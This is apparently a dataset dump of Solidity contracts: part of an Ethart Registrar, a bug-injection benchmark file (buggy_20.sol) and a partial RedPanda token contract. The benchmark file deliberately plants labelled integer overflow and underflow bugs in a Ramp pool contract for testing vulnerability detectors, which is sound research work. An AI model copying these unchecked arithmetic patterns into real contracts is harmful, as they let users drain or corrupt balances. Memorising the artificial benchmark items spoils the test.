event Transfer(address indexed _from, address _to, uint256 _value);
event Approval(address indexed _owner, address _spender, uint256 _value);
event Burn(address indexed _owner, uint256 _amount);
// Patron token balances for each account
mapping(address => uint256) public balances; // Patron token balances
event NewArtwork(address _contract, bytes32 _SHA256Hash, uint256 _editionSize, string _title, string _fileLink, uint256 _ownerCommission, address _artist, bool _indexed, bool _ouroboros);
// Owner of account approves the transfer of an amount of Patron tokens to another account
mapping(address => mapping (address => uint256)) allowed; // Patron token allowances
// BEGIN ERC20 functions (c) BokkyPooBah 2017. The MIT Licence.
function totalSupply() constant returns (uint256 totalPatronSupply) {
totalPatronSupply = _totalPatronSupply;
}
// What is the balance of a particular account?
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
// Transfer the balance from owner's account to another account
function transfer(address _to, uint256 _amount) returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]
&& _to != 0x0) // use burn() instead
{
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
}
else { return false;}
}
// Send _value amount of tokens from address _from to address _to
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom(address _from, address _to, uint256 _amount) returns (bool success)
{
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]
&& _to != 0x0) // use burn() instead
{
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {return false;}
}
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
// END ERC20 functions (c) BokkyPooBah 2017. The MIT Licence.
// Additional Patron token functions
function burn(uint256 _amount) returns (bool success) {
if (balances[msg.sender] >= _amount) {
balances[msg.sender] -= _amount;
_totalPatronSupply -= _amount;
Burn(msg.sender, _amount);
return true;
}
else {throw;}
}
function burnFrom(address _from, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value) {
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
_totalPatronSupply -= _value;
Burn(_from, _value);
return true;
}
else {throw;}
}
// Ethart variables
mapping (bytes32 => address) public SHA256HashRegister; // Register of all SHA256 Hashes
mapping (address => bool) public approvedFactories; // Register of all approved factory contracts
mapping (address => bool) public approvedContracts; // Register of all approved artwork contracts
mapping (address => address) public referred; // Register of all referrers (referree => referrer) used for the affiliate program
mapping (address => bool) public cantSetReferrer; // Referrer for an artist has to be set _before_ the first piece has been created by an address
struct artwork {
bytes32 SHA256Hash;
uint256 editionSize;
string title;
string fileLink;
uint256 ownerCommission;
address artist;
address factory;
bool isIndexed;
bool isOuroboros;}
mapping (address => artwork) public artworkRegister; // Register of all artworks and their details
// An indexed register of all of an artist's artworks
mapping(address => mapping (uint256 => address)) public artistsArtworks; // Enter artist address and a running number to get the artist's artwork addresses.
mapping(address => uint256) public artistsArtworkCount; // A running number counting an artist's artworks
mapping(address => address) public artworksFactory; // Maps all artworks to their respective factory contracts
uint256 artworkCount; // Keeps track of the number of artwork contracts in the network
mapping (uint256 => address) public artworkIndex; // An index of all the artwork contracts in the network
address public owner; // The address of the contract owner
uint256 public donationMultiplier;
// Functions with this modifier can only be executed by a specific address
modifier onlyBy (address _account)
{
require(msg.sender == _account);
_;
}
// Functions with this modifier can only be executed by approved factory contracts
modifier registerdFactoriesOnly ()
{
require(approvedFactories[msg.sender]);
_;
}
modifier approvedContractsOnly ()
{
require(approvedContracts[msg.sender]);
_;
}
function setReferrer (address _referrer)
{
if (referred[msg.sender] == 0x0 && !cantSetReferrer[msg.sender])
{
referred[msg.sender] = _referrer;
}
}
function Registrar () {
owner = msg.sender;
donationMultiplier = 100;
}
// allows the current owner to assign a new owner
function changeOwner (address newOwner) onlyBy (owner)
{
owner = newOwner;
}
function issuePatrons (address _to, uint256 _amount) approvedContractsOnly
{
balances[_to] += _amount;
_totalPatronSupply += _amount;
}
function setDonationReward (uint256 _multiplier) onlyBy (owner)
{
donationMultiplier = _multiplier;
}
function donate () payable
{
balances[msg.sender] += msg.value * donationMultiplier;
_totalPatronSupply += msg.value * donationMultiplier;
}
function registerArtwork (address _contract, bytes32 _SHA256Hash, uint256 _editionSize, string _title, string _fileLink, uint256 _ownerCommission, address _artist, bool _indexed, bool _ouroboros) registerdFactoriesOnly
{
if (SHA256HashRegister[_SHA256Hash] == 0x0) {
SHA256HashRegister[_SHA256Hash] = _contract;
approvedContracts[_contract] = true;
cantSetReferrer[_artist] = true;
artworkRegister[_contract].SHA256Hash = _SHA256Hash;
artworkRegister[_contract].editionSize = _editionSize;
artworkRegister[_contract].title = _title;
artworkRegister[_contract].fileLink = _fileLink;
artworkRegister[_contract].ownerCommission = _ownerCommission;
artworkRegister[_contract].artist = _artist;
artworkRegister[_contract].factory = msg.sender;
artworkRegister[_contract].isIndexed = _indexed;
artworkRegister[_contract].isOuroboros = _ouroboros;
artworkIndex[artworkCount] = _contract;
artistsArtworks[_artist][artistsArtworkCount[_artist]] = _contract;
artistsArtworkCount[_artist]++;
artworksFactory[_contract] = msg.sender;
NewArtwork (_contract, _SHA256Hash, _editionSize, _title, _fileLink, _ownerCommission, _artist, _indexed, _ouroboros);
artworkCount++;
}
else {throw;}
}
function isSHA256HashRegistered (bytes32 _SHA256Hash) returns (bool _registered)
{
if (SHA256HashRegister[_SHA256Hash] == 0x0)
{return false;}
else {return true;}
}
function approveFactoryContract (address _factoryContractAddress, bool _approved) onlyBy (owner)
{
approvedFactories[_factoryContractAddress] = _approved;
}
function isFactoryApproved (address _factory) returns (bool _approved)
{
if (approvedFactories[_factory])
{
return true;
}
else {return false;}
}
function withdrawFunds (uint256 _ETHAmount, address _to) onlyBy (owner)
{
if (this.balance >= _ETHAmount)
{
_to.transfer(_ETHAmount);
}
else {throw;}
}
function transferByAddress (address _contract, uint256 _amount, address _to) onlyBy (owner)
{
Interface c = Interface(_contract);
c.transfer(_to, _amount);
}
function transferIndexedByAddress (address _contract, uint256 _index, address _to) onlyBy (owner)
{
Interface c = Interface(_contract);
c.transferIndexed(_to, _index);
}
function approveByAddress (address _contract, address _spender, uint256 _amount) onlyBy (owner)
{
Interface c = Interface(_contract);
c.approve(_spender, _amount);
}
function approveIndexedByAddress (address _contract, address _spender, uint256 _index) onlyBy (owner)
{
Interface c = Interface(_contract);
c.approveIndexed(_spender, _index);
}
function burnByAddress (address _contract, uint256 _amount) onlyBy (owner)
{
Interface c = Interface(_contract);
c.burn(_amount);
}
function burnFromByAddress (address _contract, uint256 _amount, address _from) onlyBy (owner)
{
Interface c = Interface(_contract);
c.burnFrom (_from, _amount);
}
function burnIndexedByAddress (address _contract, uint256 _index) onlyBy (owner)
{
Interface c = Interface(_contract);
c.burnIndexed(_index);
}
function burnIndexedFromByAddress (address _contract, address _from, uint256 _index) onlyBy (owner)
{
Interface c = Interface(_contract);
c.burnIndexedFrom(_from, _index);
}
function offerPieceForSaleByAddress (address _contract, uint256 _price) onlyBy (owner)
{
Interface c = Interface(_contract);
c.offerPieceForSale(_price);
}
function fillBidByAddress (address _contract) onlyBy (owner) // Fill a bid with an unindexed piece owned by the registrar
{
Interface c = Interface(_contract);
c.fillBid();
}
function cancelSaleByAddress (address _contract) onlyBy (owner) // Cancel the sale of an unindexed piece owned by the registrar
{
Interface c = Interface(_contract);
c.cancelSale();
}
function offerIndexedPieceForSaleByAddress (address _contract, uint256 _index, uint256 _price) onlyBy (owner) // Sell an indexed piece owned by the registrar.
{
Interface c = Interface(_contract);
c.offerIndexedPieceForSale(_index, _price);
}
function fillIndexedBidByAddress (address _contract, uint256 _index) onlyBy (owner) // Fill a bid with an indexed piece owned by the registrar
{
Interface c = Interface(_contract);
c.fillIndexedBid(_index);
}
function cancelIndexedSaleByAddress (address _contract) onlyBy (owner) // Cancel the sale of an unindexed piece owned by the registrar
{
Interface c = Interface(_contract);
c.cancelIndexedSale();
}
function() payable
{
if (!approvedContracts[msg.sender]) {throw;}
}
function callContractFunctionByAddress(address _contract, string functionNameAndTypes, address _address1, address _address2, uint256 _value1, uint256 _value2, bool _bool, string _string, bytes32 _bytes32) onlyBy (owner)
{
if(!_contract.call(bytes4(sha3(functionNameAndTypes)),_address1, _address2, _value1, _value2, _bool, _string, _bytes32)) {throw;}
}
}
| 197,901 | 13,153 |
d2d688fc3f06bb18c33262210f5b290e151dbb13f4b26fe882174b2e762cae46
| 18,724 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/compareTool/SmartCheck-Injection-Data/Integer_overflow_and_underflow/Sol/buggy_20.sol
| 4,485 | 15,108 |
pragma solidity 0.4.25;
contract Ownable {
mapping(address => uint) public lockTime_intou37;
function increaseLockTime_intou37(uint _secondsToIncrease) public {
lockTime_intou37[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou37() public {
require(now > lockTime_intou37[msg.sender]);
uint transferValue_intou37 = 10;
msg.sender.transfer(transferValue_intou37);
}
address public owner;
mapping(address => uint) public lockTime_intou13;
function increaseLockTime_intou13(uint _secondsToIncrease) public {
lockTime_intou13[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou13() public {
require(now > lockTime_intou13[msg.sender]);
uint transferValue_intou13 = 10;
msg.sender.transfer(transferValue_intou13);
}
event OwnerChanged(address oldOwner, address newOwner);
constructor() internal {
owner = msg.sender;
}
mapping(address => uint) balances_intou30;
function transfer_intou30(address _to, uint _value) public returns (bool) {
require(balances_intou30[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou30[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou30[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
modifier onlyOwner() {
require(msg.sender == owner, "only the owner can call this");
_;
}
function changeOwner(address _newOwner) external onlyOwner {
owner = _newOwner;
emit OwnerChanged(msg.sender, _newOwner);
}
function bug_intou3() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
}
contract Stoppable is Ownable {
function bug_intou36(uint8 p_intou36) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou36; // overflow bug //Integer_overflow_and_underflow bug
}
bool public isActive = true;
function bug_intou12(uint8 p_intou12) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou12; // overflow bug //Integer_overflow_and_underflow bug
}
event IsActiveChanged(bool _isActive);
modifier onlyActive() {
require(isActive, "contract is stopped");
_;
}
function setIsActive(bool _isActive) external onlyOwner {
if (_isActive == isActive) return;
isActive = _isActive;
emit IsActiveChanged(_isActive);
}
mapping(address => uint) public lockTime_intou29;
function increaseLockTime_intou29(uint _secondsToIncrease) public {
lockTime_intou29[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou29() public {
require(now > lockTime_intou29[msg.sender]);
uint transferValue_intou29 = 10;
msg.sender.transfer(transferValue_intou29);
}
}
contract RampInstantPoolInterface {
uint16 public ASSET_TYPE;
function sendFundsToSwap(uint256 _amount)
public returns(bool success);
}
contract RampInstantEscrowsPoolInterface {
uint16 public ASSET_TYPE;
function release(address _pool,
address _receiver,
address _oracle,
bytes _assetData,
bytes32 _paymentDetailsHash)
external;
function bug_intou28(uint8 p_intou28) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou28; // overflow bug //Integer_overflow_and_underflow bug
}
function returnFunds(address _pool,
address _receiver,
address _oracle,
bytes _assetData,
bytes32 _paymentDetailsHash)
external;
function bug_intou27() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
}
contract RampInstantPool is Ownable, Stoppable, RampInstantPoolInterface {
uint256 constant private MAX_SWAP_AMOUNT_LIMIT = 1 << 240;
uint16 public ASSET_TYPE;
function bug_intou35() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
address public swapsContract;
mapping(address => uint) balances_intou34;
function transfer_intou34(address _to, uint _value) public returns (bool) {
require(balances_intou34[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou34[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou34[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
uint256 public minSwapAmount;
mapping(address => uint) public lockTime_intou33;
function increaseLockTime_intou33(uint _secondsToIncrease) public {
lockTime_intou33[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou33() public {
require(now > lockTime_intou33[msg.sender]);
uint transferValue_intou33 = 10;
msg.sender.transfer(transferValue_intou33);
}
uint256 public maxSwapAmount;
function bug_intou32(uint8 p_intou32) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou32; // overflow bug //Integer_overflow_and_underflow bug
}
bytes32 public paymentDetailsHash;
function bug_intou11() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
event ReceivedFunds(address _from, uint256 _amount);
mapping(address => uint) balances_intou10;
function transfer_intou10(address _to, uint _value) public returns (bool) {
require(balances_intou10[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou10[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou10[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
event LimitsChanged(uint256 _minAmount, uint256 _maxAmount);
mapping(address => uint) public lockTime_intou1;
function increaseLockTime_intou1(uint _secondsToIncrease) public {
lockTime_intou1[msg.sender] += _secondsToIncrease; //Integer_overflow_and_underflow bug
}
function withdraw_ovrflow1() public {
require(now > lockTime_intou1[msg.sender]);
uint transferValue_intou1 = 10;
msg.sender.transfer(transferValue_intou1);
}
event SwapsContractChanged(address _oldAddress, address _newAddress);
constructor(address _swapsContract,
uint256 _minSwapAmount,
uint256 _maxSwapAmount,
bytes32 _paymentDetailsHash,
uint16 _assetType)
public
validateLimits(_minSwapAmount, _maxSwapAmount)
validateSwapsContract(_swapsContract, _assetType)
{
swapsContract = _swapsContract;
paymentDetailsHash = _paymentDetailsHash;
minSwapAmount = _minSwapAmount;
maxSwapAmount = _maxSwapAmount;
ASSET_TYPE = _assetType;
}
mapping(address => uint) balances_intou26;
function transfer_intou26(address _to, uint _value) public returns (bool) {
require(balances_intou26[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou26[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou26[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function availableFunds() public view returns (uint256);
mapping(address => uint) public lockTime_intou25;
function increaseLockTime_intou25(uint _secondsToIncrease) public {
lockTime_intou25[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou25() public {
require(now > lockTime_intou25[msg.sender]);
uint transferValue_intou25 = 10;
msg.sender.transfer(transferValue_intou25);
}
function withdrawFunds(address _to, uint256 _amount)
public returns (bool success);
function bug_intou24(uint8 p_intou24) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou24; // overflow bug //Integer_overflow_and_underflow bug
}
function withdrawAllFunds(address _to) public onlyOwner returns (bool success) {
return withdrawFunds(_to, availableFunds());
}
function bug_intou23() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function setLimits(uint256 _minAmount,
uint256 _maxAmount) public onlyOwner validateLimits(_minAmount, _maxAmount) {
minSwapAmount = _minAmount;
maxSwapAmount = _maxAmount;
emit LimitsChanged(_minAmount, _maxAmount);
}
mapping(address => uint) balances_intou22;
function transfer_intou22(address _to, uint _value) public returns (bool) {
require(balances_intou22[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou22[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou22[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function setSwapsContract(address _swapsContract) public onlyOwner validateSwapsContract(_swapsContract, ASSET_TYPE) {
address oldSwapsContract = swapsContract;
swapsContract = _swapsContract;
emit SwapsContractChanged(oldSwapsContract, _swapsContract);
}
mapping(address => uint) public lockTime_intou21;
function increaseLockTime_intou21(uint _secondsToIncrease) public {
lockTime_intou21[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou21() public {
require(now > lockTime_intou21[msg.sender]);
uint transferValue_intou21 = 10;
msg.sender.transfer(transferValue_intou21);
}
function sendFundsToSwap(uint256 _amount)
public returns(bool success);
function releaseSwap(address _receiver,
address _oracle,
bytes _assetData,
bytes32 _paymentDetailsHash) external onlyOwner {
RampInstantEscrowsPoolInterface(swapsContract).release(address(this),
_receiver,
_oracle,
_assetData,
_paymentDetailsHash);
}
function bug_intou20(uint8 p_intou20) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou20; // overflow bug //Integer_overflow_and_underflow bug
}
function returnSwap(address _receiver,
address _oracle,
bytes _assetData,
bytes32 _paymentDetailsHash) external onlyOwner {
RampInstantEscrowsPoolInterface(swapsContract).returnFunds(address(this),
_receiver,
_oracle,
_assetData,
_paymentDetailsHash);
}
mapping(address => uint) balances_intou2;
function transfer_undrflow2(address _to, uint _value) public returns (bool) {
require(balances_intou2[msg.sender] - _value >= 0); //Integer_overflow_and_underflow bug
balances_intou2[msg.sender] -= _value; //Integer_overflow_and_underflow bug
balances_intou2[_to] += _value; //Integer_overflow_and_underflow bug
return true;
}
function () external payable {
revert("this pool cannot receive ether");
}
function bug_intou19() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
modifier onlySwapsContract() {
require(msg.sender == swapsContract, "only the swaps contract can call this");
_;
}
modifier isWithinLimits(uint256 _amount) {
require(_amount >= minSwapAmount && _amount <= maxSwapAmount, "amount outside swap limits");
_;
}
modifier validateLimits(uint256 _minAmount, uint256 _maxAmount) {
require(_minAmount <= _maxAmount, "min limit over max limit");
require(_maxAmount <= MAX_SWAP_AMOUNT_LIMIT, "maxAmount too high");
_;
}
modifier validateSwapsContract(address _swapsContract, uint16 _assetType) {
require(_swapsContract != address(0), "null swaps contract address");
require(RampInstantEscrowsPoolInterface(_swapsContract).ASSET_TYPE() == _assetType,
"pool asset type doesn't match swap contract");
_;
}
}
contract RampInstantEthPool is RampInstantPool {
function bug_intou31() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
uint16 internal constant ETH_TYPE_ID = 1;
constructor(address _swapsContract,
uint256 _minSwapAmount,
uint256 _maxSwapAmount,
bytes32 _paymentDetailsHash)
public
RampInstantPool(_swapsContract, _minSwapAmount, _maxSwapAmount, _paymentDetailsHash, ETH_TYPE_ID)
{}
mapping(address => uint) balances_intou18;
function transfer_intou18(address _to, uint _value) public returns (bool) {
require(balances_intou18[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou18[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou18[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
function availableFunds() public view returns(uint256) {
return address(this).balance;
}
mapping(address => uint) public lockTime_intou17;
function increaseLockTime_intou17(uint _secondsToIncrease) public {
lockTime_intou17[msg.sender] += _secondsToIncrease; //overflow //Integer_overflow_and_underflow bug
}
function withdraw_intou17() public {
require(now > lockTime_intou17[msg.sender]);
uint transferValue_intou17 = 10;
msg.sender.transfer(transferValue_intou17);
}
function withdrawFunds(address _to,
uint256 _amount) public onlyOwner returns (bool success) {
_to.transfer(_amount); // always throws on failure
return true;
}
function bug_intou16(uint8 p_intou16) public{
uint8 vundflw1=0;
vundflw1 = vundflw1 + p_intou16; // overflow bug //Integer_overflow_and_underflow bug
}
function sendFundsToSwap(uint256 _amount) public onlyActive onlySwapsContract isWithinLimits(_amount) returns(bool success) {
swapsContract.transfer(_amount); // always throws on failure
return true;
}
function bug_intou15() public{
uint8 vundflw =0;
vundflw = vundflw -10; // underflow bug //Integer_overflow_and_underflow bug
}
function () external payable {
require(msg.data.length == 0, "invalid pool function called");
if (msg.sender != swapsContract) {
emit ReceivedFunds(msg.sender, msg.value);
}
}
mapping(address => uint) balances_intou14;
function transfer_intou14(address _to, uint _value) public returns (bool) {
require(balances_intou14[msg.sender] - _value >= 0); //bug //Integer_overflow_and_underflow bug
balances_intou14[msg.sender] -= _value; //bug //Integer_overflow_and_underflow bug
balances_intou14[_to] += _value; //bug //Integer_overflow_and_underflow bug
return true;
}
}
| 223,778 | 13,154 |
3d5fe4cbc18ef7e15d75d9acd97ed8d7017d8de0e0e4176bad2527f8bc6fb727
| 26,538 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/2838_31554_0x514cdb9cd8a2fb2bdcf7a3b8ddd098caf466e548.sol
| 4,801 | 17,768 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract RedPanda is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private _isValidated;
address[] private _excluded;
address[] private _validated;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Red Panda';
string private _symbol = 'REDPANDA';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 30000000000000000 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function isValidated(address account) public view returns (bool) {
return _isValidated[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeValidated(address[] memory accounts) external onlyOwner() {
for (uint256 i = 0; i < accounts.length; i++) {
require(!_isValidated[accounts[i]], "Account is not validated");
_isValidated[accounts[i]] = true;
_validated.push(accounts[i]);
}
}
function includeValidated(address account) external onlyOwner() {
